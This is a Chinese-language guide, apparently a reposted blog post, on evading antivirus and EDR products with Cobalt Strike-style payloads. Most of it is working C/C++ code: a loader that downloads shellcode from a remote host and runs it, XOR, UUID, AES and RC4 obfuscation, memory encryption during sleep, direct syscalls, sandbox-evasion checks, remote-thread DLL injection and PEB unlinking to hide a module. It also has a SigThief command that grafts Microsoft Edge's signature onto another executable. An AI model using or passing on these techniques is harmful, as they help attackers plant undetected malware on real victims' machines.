免杀手法大总结(入门)
字数 2339 2025-08-05 08:18:25
免杀技术全面指南
前言
本文总结了当前有效的免杀技术方法,提供了从入门到进阶的完整思路。内容涵盖静态绕过、动态行为绕过、反沙箱技术、Shellcode注入等多个方面,适用于安全研究人员和红队人员参考。
0. 基础知识
0x00 添加图标
- 使用工具为可执行文件添加图标可以降低检测率
- 推荐方法:参考文章 https://www.sqlsec.com/2020/10/csexe.html#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E6%A0%87
0x01 添加签名
- 使用SigThief工具窃取合法签名:
python sigthief.py -i "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -t C:\Users\xx\Desktop\Project1.exe -o 1.exe
0x02 降低熵值
- 熵值是杀软查杀的条件之一
- 将shellcode和loader分开能有效降低熵值
0x03 推荐阅读
- 免杀入门杂谈:https://xz.aliyun.com/t/13332
- 浅析杀软系列:https://0range-x.github.io/2022/03/31/%E6%B5%85%E6%9E%90%E6%9D%80%E8%BD%AF/
- 加载器总结:https://www.cnblogs.com/henry666/p/17429771.html
- 回调函数加载器:https://www.freebuf.com/articles/web/269158.html
0x05 隐藏窗口
- 360会检测隐藏窗口行为
- 实现方法:
// 方法1
ShowWindow(GetConsoleWindow(), SW_HIDE);
// 方法2
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// 方法3:使用WinMain入口点
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
HWND hWnd = CreateWindow(/* 参数 */);
ShowWindow(hWnd, SW_HIDE);
return 0;
}
0x06 底层函数查询
- NT/Zw等底层函数查询网站:http://undocumented.ntinternals.net/
1. 杀软分析
1x0 ESET
- 上线:使用shellcode分离方式
- 操作:对行为操作敏感,建议使用模块化插件获取回显信息
1x1 卡巴斯基
- 内存扫描能力强,默认CS beacon会被检测
- 需要修改CS的profile配置
1x2 火绒
- 有本地沙箱但较容易绕过
- 避免使用明显提权工具
- 心跳间隔不宜过短
1x3 360
- 核晶防护开启后CMD命令受限
- 上线方案:DLL白加黑
- 操作方案:使用自定义代码注入或BOF插件
1x4 Windows Defender
- 核心防护:AMSI、ETW
- 上线:避免使用stager shellcode,使用stageless
- 操作:注入到其他进程执行,避免使用execute-assembly
1x5 其他杀软
- 深信服EDR:静态查杀强
- 麦咖啡:静态查杀强,无行为查杀
- 阿里安骑士:静态一般但拦截高危cmd
- 趋势科技:监控服务创建,基本无行为检测
- G01:上传即查杀,有黑名单机制
2. 静态绕过技术
2x0 远程分段加载shellcode
- 效果:能过火绒360动静态
- 关键代码:
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
// 建立socket连接
// 发送GET请求获取shellcode
// 返回接收到的shellcode大小
}
int main() {
char* recvbuf_ptr = (char*)malloc(400000);
int recvbuf_size = getShellcode_Run(ip, port, resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
((void(*)())shellcode_addr)();
}
2x1 混淆加密
2x1x0 异或加密
void XORcrypt(char str2xor[], size_t len, int key) {
for(int i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
2x1x1 UUID加密
- 工具:https://github.com/Haunted-Banshee/Shellcode-Hastur/
- 解密代码:
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, sizeof(uuids) * 16);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for(int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if(status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
2x1x2 AES加密
- 实现代码:
#include "AES.h"
AES aes(AESKeyLength::AES_128);
unsigned char key[] = {0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f};
unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, recvbuf_size, key);
2x1x3 RC4加密
- 适合短shellcode
- 参考:https://myzxcg.com/2022/01/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8A%A0%E5%AF%86%E4%B8%8EShellcode-%E9%9A%90%E8%97%8F/#rc4-%E5%8A%A0%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2
2x2 敏感API替换
- 参考冷门API列表:http://ropgadget.com/posts/abusing_win_functions.html
- 常用回调函数:
- EnumFontsW
- EnumUILanguages
- EnumFontFamiliesEx
2x3 bin文件修改
2x3x0 CS敏感API哈希
- Cobalt Strike使用ROR13哈希算法
- 哈希替换工具:https://github.com/embee-research/Randomise-api-hashes-cobalt-strike
- Yara规则参考:https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
2x3x1 硬编码修改
- 修改CS生成的bin文件特征字节
- 方法:
xxd -i payload.bin > payloads.c
# 修改数组后重新编译
3. 动态内存行为绕过
3x0 内存加解密
3x0x0 SystemFunction032
- 内存加解密系统函数
typedef NTSTATUS(WINAPI* _SystemFunction033)(struct ustring* memoryRegion, struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
// 加密/解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
SystemFunction033(&scdata, &key);
3x0x1 UUID内存加解密
- 结合远程加载和UUID解密
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 遍历UUID列表并转换
for(int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
uuid_addr = (void*)((uintptr_t)uuid_addr + 0x26);
mem_ptr += 16;
}
Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);
3x1 异常处理机制
- 利用Windows异常处理在sleep期间修改内存属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo) {
if(pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) {
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {
while(true) {
WaitForSingleObject(hEvent, INFINITE);
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
}
VOID WINAPI MySleep(DWORD dwMilliseconds) {
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
3x2 ShellcodeFluctuation
- 在sleep期间加密shellcode内存
void EncryptDecrypt() {
// 使用SystemFunction033加密/解密
SystemFunction033(&scdata, &key);
if(memoryInfo.isEncrypt == TRUE) {
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
} else {
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
}
}
VOID WINAPI MySleep(DWORD dwMilliseconds) {
UnHookSleep();
EncryptDecrypt();
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
3x3 Syscall技术
- 使用SysWhispers3项目:https://github.com/klezVirus/SysWhispers3
#include "jumper.h"
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Sw3NtWriteVirtualMemory(hProc, base_addr, buffer, size, NULL);
Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&size, PAGE_EXECUTE, &oldProtect);
4. 反沙箱技术
4x0 延时执行
Sleep(10000); // 沙箱通常会加速执行
WaitForSingleObject(GetCurrentThread(), 10000);
4x1 检测微信
BOOL RegkeyExist(HKEY hKey, wchar_t* regkey_s) {
HKEY regkey;
DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, ®key);
if(ret == ERROR_SUCCESS) {
RegCloseKey(regkey);
return TRUE;
}
return FALSE;
}
if(RegkeyExist(HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat")) {
LoadShellcode();
}
4x2 传参检测
if(argc >= 3) {
if(atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
LoadShellCode();
}
}
4x3 文件检测
BOOL isFileExists(wchar_t* szPath) {
DWORD dwAtrribt = GetFileAttributes(szPath);
return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}
if(isFileExists(L"1.txt") && isDirExists(L"1")) {
LoadShellcode();
}
4x4 睡眠时间检测
bool timeSleep() {
auto start = std::chrono::steady_clock::now();
std::this_thread::sleep_for(std::chrono::seconds(10));
auto end = std::chrono::steady_clock::now() - start;
return end >= std::chrono::seconds(10);
}
5. Shellcode注入技术
5x0 远程线程注入DLL
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName) {
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
size = (wcslen(DllName) + 1) * sizeof(TCHAR);
LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hprocess, pAllocMemory, DllName, size, NULL);
FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)pThread, pAllocMemory, 0, NULL);
WaitForSingleObject(hThread, -1);
VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
CloseHandle(hprocess);
return TRUE;
}
5x1 突破Session 0隔离
- 使用ZwCreateThreadEx替代CreateRemoteThread
typedef DWORD (WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
(LPTHREAD_START_ROUTINE)addr, pAllocMemory, 0, 0, 0, 0, NULL);
5x2 三断链隐藏DLL
- 修改PEB中的LDR模块链表
void HideModule(HANDLE hModule) {
PPEB_LDR_DATA ldr;
PLDR_DATA_TABLE_ENTRY ldte;
// 定位到PEB->LDR
__asm {
mov eax, fs:[0x30]
mov ecx, [eax + 0x0c]
mov ldr, ecx
}
// 遍历三个链表并断链
PLIST_ENTRY Head, Cur;
Head = &(ldr->InLoadOrderModuleList);
Cur = Head->Flink;
do {
ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
if(ldte->BaseAddress == hModule) {
ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while(Head != Cur);
// 同样处理InMemoryOrderModuleList和InInitializationOrderModuleList
}
总结
本文涵盖了从基础到高级的免杀技术,包括静态特征修改、动态行为规避、反沙箱检测和多种注入技术。实际应用中需要根据目标环境组合使用多种技术,并持续关注杀软的新检测机制以调整策略。